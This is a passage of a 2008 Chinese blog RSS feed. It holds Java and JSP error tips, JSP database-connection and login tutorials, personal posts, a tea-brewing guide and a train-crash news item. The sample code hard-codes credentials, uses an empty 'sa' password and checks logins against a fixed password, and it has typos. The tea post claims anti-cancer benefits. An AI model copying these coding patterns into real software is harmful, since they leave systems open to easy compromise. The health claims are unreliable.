对应String类型的对象使用println()方法时，如果对象为null，将打印null而不是引发NullPointerException，由此引用的问题是容易造成错觉，对于以后对字符串的操作容易引起问题。<br/>

2.
引发NullPointerException异常，主要原因是没有对对象的存在性进行验证，在jsp编程中经常出现：if
(request.getParameter(“username”).equals(“xxx”))、out.println
(session.getAttribute(“record”))等。解决这个问题的方法是在使用前进行判空比较：if
(request.getParameter(“username”)!=null) {if if
(request.getParameter(“username”).equals(“xxx”))…}。<br/>

3.
引发NumberFormatException异常：主要原因是将用户提交的内容转换为整数或者浮点数时用户输入了其它非法字符。处理的主要方式是在需要进行转换的地方使用try/catch块捕获此异常然后提示用户输入合法数据。<br/>

4.
引发StringIndexOutOfBoundsException异常：主要原因是使用String的substring()、charAt()等方法，而字符串的长度不够，就会引发此异常；在字符串为null时也会引发NullPointerException。解决的方法是判空，判断长度或者转换为字节数组。考虑到这些操作很多，可以将之封装到javabean中。<br/>

5.
引发NoClassDefFoundError错误，主要原因是类路径或者类文件放置错误，类文件的放置要符合服务器的要求。<br/>

6.
引发java.lang.Error错误，主要原因是对系统所访问外部资源，未执行关闭操作，导致外部资源大量浪费，最终可能导致系统无法正常运行；对系统所访问的外部资源关闭次数太多，外部系统无法正常处理；所系统访问的外部资源出现异常情况。解决的方法是：访问外部资源前，首先检查该资源(如数据库)是否可正常连接或操作；访问外部资源时，如果进行了连接，一定进行关闭操作，并仅进行一次关闭操作；尽量在同一操作中共享外部资源，以减少该操作对资源的消费，提高程序的执行效率。]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xp3.html#comment</comments>
            <pubDate>Tue, 24 Jun 2008 14:49:27 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xp3.html</guid>
        </item>
        <item>
            <title>JSP连接各类数据库大全</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xp0.html</link>
            <description><![CDATA[现在有好多初学JSP的网友经常会问数据库怎么连接啊，怎么老出错啊？所以我集中的在这写篇文章供大家参考，其实这种把数据库逻辑全部放在jsp里未必是好的做法，但是有利于初学者学习，所以我就这样做了，当大家学到一定程度的时候，可以考虑用MVC的模式开发。在练习这些代码的时候，你一定将JDBC的驱动程序放到服务器的类路径里，然后要在数据库里建一个表test,有两个字段比如为test1，test2，可以用下面SQL建<br/>

　　 create table test(test1 varchar(20),test2 varchar(20)<br/>
然后向这个表写入一条测试纪录，那么现在开始我们的jsp和数据库之旅吧。<br/>

<br/>
　　
一、jsp连接Oracle8/8i/9i数据库（用thin模式）<br/>
　　 testoracle.jsp如下：<br/>
　　 ＜%@ page
contentType="text/html;charset=gb2312"%&gt;<br/>
　　 ＜%@ page import="Java.sql.*"%&gt;<br/>
　　 ＜html&gt;<br/>
　　 ＜body&gt;<br/>
　　
＜%Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();<br/>

　　 String url="jdbc:oracle:thin:@localhost:1521:orcl";<br/>
　　 //orcl为你的数据库的SID<br/>
　　 String user="scott";<br/>
　　 String password="tiger";<br/>
　　 Connection conn=
DriverManager.getConnection(url,user,password);<br/>
　　 Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);<br/>

　　 String sql="select * from test";<br/>
　　 ResultSet rs=stmt.executeQuery(sql);<br/>
　　 while(rs.next()) {%&gt;<br/>
　　
您的第一个字段内容为：＜%=rs.getString(1)%&gt;<br/>

　　
您的第二个字段内容为：＜%=rs.getString(2)%&gt;<br/>

　　 ＜%}%&gt;<br/>
　　
＜%out.print("数据库操作成功，恭喜你");%&gt;<br/>

　　 ＜%rs.close();<br/>
　　 stmt.close();<br/>
　　 conn.close();<br/>
　　 %&gt;<br/>
　　 ＜/body&gt;<br/>
　　 ＜/html&gt;
<p>二、JSP连接SQL Server7.0/2000数据库<br/>
　　 testsqlserver.jsp如下：<br/>
　　 ＜%@ page
contentType="text/html;charset=gb2312"%&gt;<br/>
　　 ＜%@ page import="Java.sql.*"%&gt;<br/>
　　 ＜html&gt;<br/>
　　 ＜body&gt;<br/>
　　
＜%Class.forName("com.microsoft.JDBC.sqlserver.SQLServerDriver").newInstance();<br/>

　　 String
url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs";<br/>

　　 //pubs为你的数据库的<br/>
　　 String user="sa";<br/>
　　 String password="";<br/>
<br/>
　　 Connection conn=
DriverManager.getConnection(url,user,password);<br/>
　　 Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);<br/>

　　 String sql="select * from test";<br/>
　　 ResultSet rs=stmt.executeQuery(sql);<br/>
　　 while(rs.next()) {%&gt;<br/>
　　
您的第一个字段内容为：＜%=rs.getString(1)%&gt;<br/>

　　
您的第二个字段内容为：＜%=rs.getString(2)%&gt;<br/>

　　 ＜%}%&gt;<br/>
　　
＜%out.print("数据库操作成功，恭喜你");%&gt;<br/>

　　 ＜%rs.close();<br/>
　　 stmt.close();<br/>
　　 conn.close();<br/>
<br/>
　　 %&gt;<br/>
　　 ＜/body&gt;<br/>
　　 ＜/html&gt;</P>
<p>三、JSP连接DB2数据库<br/>
　　 testdb2.jsp如下：<br/>
　　 ＜%@ page
contentType="text/html;charset=gb2312"%&gt;<br/>
　　 ＜%@ page import="Java.sql.*"%&gt;<br/>
　　 ＜html&gt;<br/>
　　 ＜body&gt;<br/>
　　 ＜%Class.forName("com.ibm.db2.JDBC.app.DB2Driver
").newInstance();<br/>
　　 String url="jdbc:db2://localhost:5000/sample";<br/>
　　 //sample为你的数据库名<br/>
　　 String user="admin";<br/>
　　 String password="";<br/>
　　 Connection conn=
DriverManager.getConnection(url,user,password);<br/>
　　 Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);<br/>

　　 String sql="select * from test";<br/>
　　 ResultSet rs=stmt.executeQuery(sql);<br/>
　　 while(rs.next()) {%&gt;<br/>
　　
您的第一个字段内容为：＜%=rs.getString(1)%&gt;<br/>

　　
您的第二个字段内容为：＜%=rs.getString(2)%&gt;<br/>

　　 ＜%}%&gt;<br/>
　　
＜%out.print("数据库操作成功，恭喜你");%&gt;<br/>

　　 ＜%rs.close();<br/>
　　 stmt.close();<br/>
　　 conn.close();<br/>
　　 %&gt;<br/>
　　 ＜/body&gt;<br/>
　　 ＜/html&gt;</P>
<p>四、JSP连接Informix数据库<br/>
　　 testinformix.jsp如下：<br/>
　　 ＜%@ page
contentType="text/html;charset=gb2312"%&gt;<br/>
　　 ＜%@ page import="Java.sql.*"%&gt;<br/>
　　 ＜html&gt;<br/>
　　 ＜body&gt;<br/>
　　
＜%Class.forName("com.informix.JDBC.IfxDriver").newInstance();<br/>

　　 String url =<br/>
　　
"jdbc:informix-sqli://123.45.67.89:1533/testDB:INFORMIXSERVER=myserver;<br/>

　　 user=testuser;password=testpassword";<br/>
　　 //testDB为你的数据库名<br/>
　　 Connection conn= DriverManager.getConnection(url);<br/>
　　 Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);<br/>

　　 String sql="select * from test";<br/>
　　 ResultSet rs=stmt.executeQuery(sql);<br/>
　　 while(rs.next()) {%&gt;<br/>
　　
您的第一个字段内容为：＜%=rs.getString(1)%&gt;<br/>

　　
您的第二个字段内容为：＜%=rs.getString(2)%&gt;<br/>

　　 ＜%}%&gt;<br/>
　　
＜%out.print("数据库操作成功，恭喜你");%&gt;<br/>

　　 ＜%rs.close();<br/>
　　 stmt.close();<br/>
　　 conn.close();<br/>
　　 %&gt;<br/>
　　 ＜/body&gt;<br/>
　　 ＜/html&gt;</P>
<p>五、JSP连接Sybase数据库<br/>
　　 testMySQL.jsp如下：<br/>
　　 ＜%@ page
contentType="text/html;charset=gb2312"%&gt;<br/>
　　 ＜%@ page import="Java.sql.*"%&gt;<br/>
　　 ＜html&gt;<br/>
　　 ＜body&gt;<br/>
　　
＜%Class.forName("com.sybase.JDBC.SybDriver").newInstance();<br/>
　　 String url =" jdbc:sybase:Tds:localhost:5007/tsdata";<br/>
　　 //tsdata为你的数据库名<br/>
　　 Properties sysProps = System.getProperties();<br/>
　　 SysProps.put("user","userid");<br/>
　　 SysProps.put("password","user_password");<br/>
　　 Connection conn= DriverManager.getConnection(url,
SysProps);<br/>
　　 Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);<br/>

　　 String sql="select * from test";<br/>
　　 ResultSet rs=stmt.executeQuery(sql);<br/>
　　 while(rs.next()) {%&gt;<br/>
　　
您的第一个字段内容为：＜%=rs.getString(1)%&gt;<br/>

　　
您的第二个字段内容为：＜%=rs.getString(2)%&gt;<br/>

　　 ＜%}%&gt;<br/>
　　
＜%out.print("数据库操作成功，恭喜你");%&gt;<br/>

　　 ＜%rs.close();<br/>
　　 stmt.close();<br/>
　　 conn.close();<br/>
　　 %&gt;<br/>
　　 ＜/body&gt;<br/>
　　 ＜/html&gt;</P>
<p>六、JSP连接MySQL数据库<br/>
　　 testmysql.jsp如下：<br/>
　　 ＜%@ page
contentType="text/html;charset=gb2312"%&gt;<br/>
　　 ＜%@ page import="Java.sql.*"%&gt;<br/>
　　 ＜html&gt;<br/>
　　 ＜body&gt;<br/>
　　
＜%Class.forName("org.gjt.mm.mysql.Driver").newInstance();<br/>
　　 String url
="JDBC:mysql://localhost/softforum?user=soft&amp;password=soft1234&amp;useUnicode=true&amp;characterEncoding=8859_1"<br/>

　　 //testDB为你的数据库名<br/>
　　 Connection conn= DriverManager.getConnection(url);<br/>
　　 Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);<br/>

　　 String sql="select * from test";<br/>
　　 ResultSet rs=stmt.executeQuery(sql);<br/>
　　 while(rs.next()) {%&gt;<br/>
　　
您的第一个字段内容为：＜%=rs.getString(1)%&gt;<br/>

　　
您的第二个字段内容为：＜%=rs.getString(2)%&gt;<br/>

　　 ＜%}%&gt;<br/>
　　
＜%out.print("数据库操作成功，恭喜你");%&gt;<br/>

　　 ＜%rs.close();<br/>
　　 stmt.close();<br/>
　　 conn.close();<br/>
　　 %&gt;<br/>
　　 ＜/body&gt;<br/>
　　 ＜/html&gt;</P>
<p>七、JSP连接PostgreSQL数据库<br/>
　　 testMySQL.jsp如下：<br/>
　　 ＜%@ page
contentType="text/html;charset=gb2312"%&gt;<br/>
　　 ＜%@ page import="Java.sql.*"%&gt;<br/>
　　 ＜html&gt;<br/>
　　 ＜body&gt;<br/>
　　
＜%Class.forName("org.postgresql.Driver").newInstance();<br/>
　　 String url ="JDBC:postgresql://localhost/soft"<br/>
　　 //soft为你的数据库名<br/>
　　 String user="myuser";<br/>
　　 String password="mypassword";<br/>
　　 Connection conn=
DriverManager.getConnection(url,user,password);<br/>
　　 Statement
stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);<br/>

　　 String sql="select * from test";<br/>
　　 ResultSet rs=stmt.executeQuery(sql);<br/>
　　 while(rs.next()) {%&gt;<br/>
　　
您的第一个字段内容为：＜%=rs.getString(1)%&gt;<br/>

　　
您的第二个字段内容为：＜%=rs.getString(2)%&gt;<br/>

　　 ＜%}%&gt;<br/>
　　
＜%out.print("数据库操作成功，恭喜你");%&gt;<br/>

　　 ＜%rs.close();<br/>
　　 stmt.close();<br/>
　　 conn.close();<br/>
　　 %&gt;<br/>
　　 ＜/body&gt;<br/>
　　 ＜/html&gt;</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xp0.html#comment</comments>
            <pubDate>Tue, 24 Jun 2008 14:46:34 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xp0.html</guid>
        </item>
        <item>
            <title>JSP登录验证功能的实现</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009xov.html</link>
            <description><![CDATA[<span CLASS="t18">&nbsp;</SPAN>
<p><span CLASS="t18">静态的登录界面的设计login.htm，代码如下：</SPAN></P>
<p>&lt;html&gt;<br/>
&lt;head&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;title&gt;系统登录&lt;/title&gt;<br/>

&nbsp;&nbsp;&nbsp;
&lt;style type="text/CSS"&gt;...<br/>
&lt;!--<br/>
.style1 {...}{<br/>
&nbsp;&nbsp;&nbsp; font-size:
18px;<br/>
&nbsp;&nbsp;&nbsp; font-weight:
bold;<br/>
}<br/>
.style2 {...}{font-size: 24px}<br/>
.style5 {...}{font-size: 16px}<br/>
--&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;/style&gt;<br/>
&lt;/head&gt;<br/>
&lt;body bgcolor="papayawhip"&nbsp;
width="300" height="300"&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;center&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;table border="2" bordercolor="black"
bgcolor="lightgreen"&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;tbody&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;tr&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;td&gt;&lt;div
align="center" class="style1 style2"&gt;系 统 登
录<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;/div&gt;&lt;/td&gt;<br/>

&nbsp;&nbsp;&nbsp;
&lt;/tr&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;form action="login.jsp"
method="post"&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;tr&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;td height="28"&gt;&lt;span
class="style5"&gt;用户名&lt;/span&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input
type="text" name="uid" maxlength="20"
style="width:150"&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;/td&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/tr&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;br&gt;<br/>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;tr&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;td&gt;&lt;span
class="style5"&gt;密&amp;nbsp;&amp;nbsp;码&lt;/span&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;input type="password" name="upwd" maxlength="20"
style="width:150"&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;/td&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;/tr&gt;</P>
<p>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;br&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;center&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;tr&gt;&lt;td&gt;&lt;div
align="center"&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;input type="submit" value="登录"
&gt;&amp;nbsp;&amp;nbsp;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;input type="reset"
value="取消"&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;<br/>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;/center&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;/form&gt;<br/>
&nbsp;&nbsp;&nbsp;<br/>
&nbsp;&nbsp;&nbsp;
&lt;/tbody&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;/table&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;/center&gt;<br/>
&lt;/body&gt;<br/>
&lt;/html&gt;</P>
<p>&nbsp;</P>
<p>
将登录用户输入的信息提交到login.jsp页面机型处理，这里为了方便，不执行数据库的访问操作，直接使用sky2098作为登录用户名和密码，但在实际中是要从数据库中读取的，该jsp页面代码实现如下：</P>
<p></P>
<p>&lt;%...@ page
contentType="text/html;charset=GB2312"%&gt;<br/>
&lt;%...<br/>
&nbsp;&nbsp;&nbsp;
if(request.getParameter("uid").equals("sky2098")&amp;&amp;request.getParameter("upwd").equals("sky2098")){<br/>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
session.setAttribute("login","ok");<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
session.setMaxInactiveInterval(-1);<br/>
%&gt;<br/>
&lt;jsp:forward page="main.jsp"/&gt;<br/>
&lt;%...<br/>
&nbsp;&nbsp;&nbsp; }else{<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
out.println("用户名或密码输入错误！");<br/>
}<br/>
%&gt;</P>
<p>
如果登录成功，则设定login的值为ok，提交到下一步验证页面，则进入main.jsp页面，否则，如果输入的用户名和密码不合法就打印错误信息，main.jsp页面代码如下：</P>
<p>&lt;%...@ page
contentType="text/html;charset=GB2312"%&gt;<br/>
&lt;%...@ include file="checkvalid.jsp"
%&gt;<br/>
&lt;html&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;head&gt;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;title&gt;~WELCOME TO MY
HOMEPAGE~&lt;/title&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;/head&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;body&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;center&gt;<br/>
&nbsp;&nbsp;&nbsp; ~WELCOME TO
MY HOMEPAGE~<br/>
&nbsp;&nbsp;&nbsp;
&lt;/center&gt;<br/>
&nbsp;&nbsp;&nbsp;
&lt;/body&gt;<br/>
&lt;/html&gt;<br/>
这个页面使用&lt;% @ include file="checkvalid.jsp"
%&gt;包含了一个jsp页面checkvalid.jsp为了验证输入信息的合法性：</P>
<p>&lt;%...<br/>
&nbsp;&nbsp;&nbsp;
if(session.getAttribute("login")==null||!session.getAttribute("login").equals("ok")){<br/>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
response.sendRedirect("login.htm");<br/>
}<br/>
%&gt;<br/>
如果输入信息有误，则回到登录页面，重新输入登录信息。</P>
<p>&nbsp;</P>
<p>测试登录功能。</P>
<p>启动Tomcat服务器，在IE地址栏中键入URL为：</P>
<p>http://localhost:8080/sky2098/login-Advanced/login.htm</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;技术文章与个人经验</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009xov.html#comment</comments>
            <pubDate>Tue, 24 Jun 2008 14:40:33 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009xov.html</guid>
        </item>
        <item>
            <title>我和我妈吵架了</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009u3p.html</link>
            <description><![CDATA[<p>
今天中午，打电话回去，跟我妈聊了一会，老是和以前一样，一聊就扯到我个人事情上，老是那句话，说我不小了，该找个人结婚了，我说那有那么容易呀，再说我自己现在都还孩子气呢，结婚对我自己来说还有点远，最起码这几年不太现实吧。我妈非得不听，还嚷嚷着在家给找一个，让我认识，我说我又不是缺胳膊少腿的，人长的又不是那么难看，还怕找不到结婚对像。我说，晕呀，我这一生可不能这么就毁了，婚姻是件大事，我说我得慎重，得好好想想。要是万一找一个不适自己的，将来结婚后，三天两头吵架，怎么办，到时遇到困难还得自己一个人去解决，还不是没有一个人帮忙分担。找个结婚对像，无外乎就是生活上有个照应，感情上有个寄托，心灵上有个依靠嘛。还有我人生刚刚起步，现在正处于黎明前最灰暗的那一刻，我想等到日出之后才结婚，对自己，对她，对家人也有个好的交待。</P>
<p>
妈，你咋就不能理解你儿子我的心呢，再说你儿子那么聪明，一定会给你找个好媳妇的。</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;乱七八糟写到哪是哪</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009u3p.html#comment</comments>
            <pubDate>Mon, 16 Jun 2008 04:36:44 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009u3p.html</guid>
        </item>
        <item>
            <title>手机拍摄的图片</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009u31.html</link>
            <description><![CDATA[<p ALIGN="left">
新买的手机，夏新E78，前几天拍的，不错。</P>
<p ALIGN="center"><a HREF="http://blog.photo.sina.com.cn/showpic.html#url=http://static7.photo.sina.com.cn/orignal/3e27a4c144fc083db1ef6" TARGET="_blank"><img SRC="http://static7.photo.sina.com.cn/bmiddle/3e27a4c144fc083db1ef6" /></A></P>
<p ALIGN="center">&nbsp;</P>
<p ALIGN="center"><a HREF="http://blog.photo.sina.com.cn/showpic.html#url=http://static15.photo.sina.com.cn/orignal/3e27a4c144fc08b25d10e" TARGET="_blank"><img SRC="http://static15.photo.sina.com.cn/bmiddle/3e27a4c144fc08b25d10e" /></A></P>
<p ALIGN="center">&nbsp;</P>
<p ALIGN="center"><a HREF="http://blog.photo.sina.com.cn/showpic.html#url=http://static3.photo.sina.com.cn/orignal/3e27a4c144fc08e7efe02" TARGET="_blank"><img SRC="http://static3.photo.sina.com.cn/bmiddle/3e27a4c144fc08e7efe02" /></A></P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;乱七八糟写到哪是哪</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009u31.html#comment</comments>
            <pubDate>Mon, 16 Jun 2008 03:46:47 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009u31.html</guid>
        </item>
        <item>
            <title>断线一个多月了</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009u2u.html</link>
            <description><![CDATA[<p>
呵，今天翻开博客一看，差不多有一个多月的时间没有上线了，最后也没有什么好写的，只是一些乱七八糟的事情，所以也不值得一写了，其实也是没有时间来写，不知道写什么东西，最近的地震，本来是想写点什么，来表达死去同胞们的一点祝福，但想想还是封笔一个月，以此记念。</P>
<p>
这个星期天要考试了，努力了大半年了，也试有个结果了。</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;乱七八糟写到哪是哪</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009u2u.html#comment</comments>
            <pubDate>Mon, 16 Jun 2008 03:40:47 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009u2u.html</guid>
        </item>
        <item>
            <title>铁观音品茶方法</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c101009cht.html</link>
            <description><![CDATA[<p><font COLOR="#FF6699"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;烹煮泉水</STRONG></FONT><font COLOR="#000080"><br/>

　　沏茶擇水最為關健，水質不好，會直接影響好茶的色、香、味，只有好水好茶味才美。衝泡安溪鐵觀音，烹煮的水溫高達
100度，這樣最能體現鐵觀音獨特的香韻。<br/>
　　　　</FONT><b><font COLOR="#FF6699">沐霖甌杯</FONT></B><font COLOR="#000080"><br/>
　　&ldquo;沐霧甌杯&rdquo;也稱&ldquo;熱壺盪杯&rdquo;。先洗蓋甌，再洗茶杯，這不但是保持甌杯有一定的溫度，又講究衛生，起到消毒作用。<br/>

　　　　</FONT><b><font COLOR="#FF6699">觀音入宮</FONT></B><font COLOR="#000080"><br/>
　　右手拿起茶斗把茶葉裝入，左手拿起茶匙把名茶鐵觀音裝人甌杯，美其名日：&ldquo;觀音入宮&rdquo;。<br/>

　　　　</FONT><b><font COLOR="#FF6699">懸壺高衝</FONT></B><font COLOR="#000080"><br/>
　　提起水壺，對准甌杯，先低后高衝入，使茶葉隨著水流旋轉而充分舒展。<br/>

　　　　</FONT><b><font COLOR="#FF6699">春風拂面</FONT></B><font COLOR="#000080"><br/>
　　左手提起甌蓋，輕輕地在甌面上繞一圈把浮在甌面上的泡沫刮起，然后右手提起水壺把甌蓋衝凈，這叫&ldquo;春風拂面&rdquo;。<br/>

　　　　</FONT><b><font COLOR="#FF6699">甌裏醞香</FONT></B><font COLOR="#000080"><br/>
　　中國茶葉有六大類，其中紅茶全發酵，綠茶不發酵，烏龍茶是半發酵。鐵觀音是烏龍茶中的極品，其生長環境得天獨厚，采製技藝十分精湛，素有&ldquo;綠葉紅鑲邊，七泡有余香&rdquo;之美稱，具有防癌、美容、抗衰老、降血脂等特殊功效。茶葉下甌衝泡，須等待一至兩分鐘，這樣才能充分地釋放出獨特的香和韻。衝泡時間太短，色香味顯示不出來，太久會&ldquo;熱湯失味&rdquo;。<br/>

　　　　</FONT><b><font COLOR="#FF6699">三龍護鼎</FONT></B><font COLOR="#000080"><br/>
　　斟茶時，把右手的拇指、中指夾住甌杯的邊沿，食指按在甌蓋的頂端，提起蓋甌，把茶水倒出，三手指稱為三條龍，蓋甌稱為鼎，這叫&ldquo;三龍護鼎&rdquo;。<br/>

　　　　</FONT><b><font COLOR="#FF6699">行雲流水</FONT></B><font COLOR="#000080"><br/>
　　提起蓋甌，沿托盤上邊繞一圈，把甌底的水刮掉，直樣可防止甌外的水滴入杯中。<br/>

　　　　</FONT><b><font COLOR="#FF6699">觀音出海</FONT></B><font COLOR="#000080"><br/>
　　&ldquo;觀音出海&rdquo;民間稱它為&ldquo;關公巡城&rdquo;，就是把茶水依次巡回均勻地斟入各茶杯里，斟茶時應低行。<br/>

　　　　</FONT><b><font COLOR="#FF6699">點水流香</FONT></B><font COLOR="#000080"><br/>
　　&ldquo;點水流香&rdquo;在民間稱為&ldquo;韓信點兵&rdquo;，就是斟茶斟到最后甌底最濃部分，要均勻地一點一點滴到各茶杯里，達到濃淡均勻，香醇一致。<br/>

　　　　</FONT><b><font COLOR="#FF6699">敬奉香茗</FONT></B><font COLOR="#000080"><br/>
　　茶藝小姐端起茶盤彬彬有禮地向各位嘉賓、朋友敬奉香茗。<br/>

　　　　</FONT><b><font COLOR="#FF6699">鑒賞湯色</FONT></B><font COLOR="#000080"><br/>
　　品飲鐵觀音，首先要觀其色，就是觀賞茶湯的顏色，名優鐵觀音的湯色：清澈、金黃、明亮，讓人賞心悅目。<br/>

　　　　</FONT><b><font COLOR="#FF6699">細聞幽香</FONT></B><font COLOR="#000080"><br/>
　　就是聞其香，嗅嗅鐵觀音的香氣，那天然馥郁的蘭花香、桂花香，清氣四溢，讓您心曠神怡。<br/>

　　　　</FONT><b><font COLOR="#FF6699">品啜甘霖</FONT></B><font COLOR="#000080"><br/>
　　這叫品其味，品啜鐵觀音的韻味，有一種特殊的感受。當你呷上一口含在嘴里，慢慢吞入喉中，頓時會覺得滿口生津，齒頰留香，六根開竅清風生，飄飄欲仙最怡人。</FONT><br/>
</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;喝茶品茶谈茶与茶具</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c101009cht.html#comment</comments>
            <pubDate>Tue, 06 May 2008 13:28:55 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_3e27a4c101009cht.html</guid>
        </item>
        <item>
            <title>T195与5034次旅客列车今晨在山东淄博相撞(附图）</title>
            <link>http://blog.sina.com.cn/s/blog_3e27a4c1010098vp.html</link>
            <description><![CDATA[<p STYLE="TEXT-INDENT: 2em" ALIGN="center"><a HREF="http://album.sina.com.cn/pic/3e27a4c144be58fb46a16" TARGET="_blank"><img SRC="http://album.sina.com.cn/pic_3/3e27a4c144be58fb46a16" /></A></P>
<p STYLE="TEXT-INDENT: 2em">
北京时间今天凌晨4点41分，北京开往青岛的T195次列车运行到胶济铁路周村至王村之间时脱线，与上行的烟台至徐州5034次列车相撞，伤亡情况尚不清楚。</P>
<p STYLE="TEXT-INDENT: 2em">
事故发生后，铁道部迅速启动紧急预案。铁道部部长刘志军立即赶赴现场指挥，要求全力救治受伤旅客，做好对事故列车旅客的安置工作，以最快速度恢复正常行车，开展事故调查，防止类似事故再次发生。&nbsp;</P>
<p STYLE="TEXT-INDENT: 2em" ALIGN="center"><a HREF="http://album.sina.com.cn/pic/3e27a4c144be58fb46a16" TARGET="_blank"></A>&nbsp;</P>]]></description>
            <author>『一枝独秀』</author>
            <category>&amp;#9670;乱七八糟写到哪是哪</category>
            <comments>http://blog.sina.com.cn/s/blog_3e27a4c1010098vp.html#comment</comments>
            <pubDate>Mon, 28 Apr 2008 01:53:40 GMT+8</pubDate>
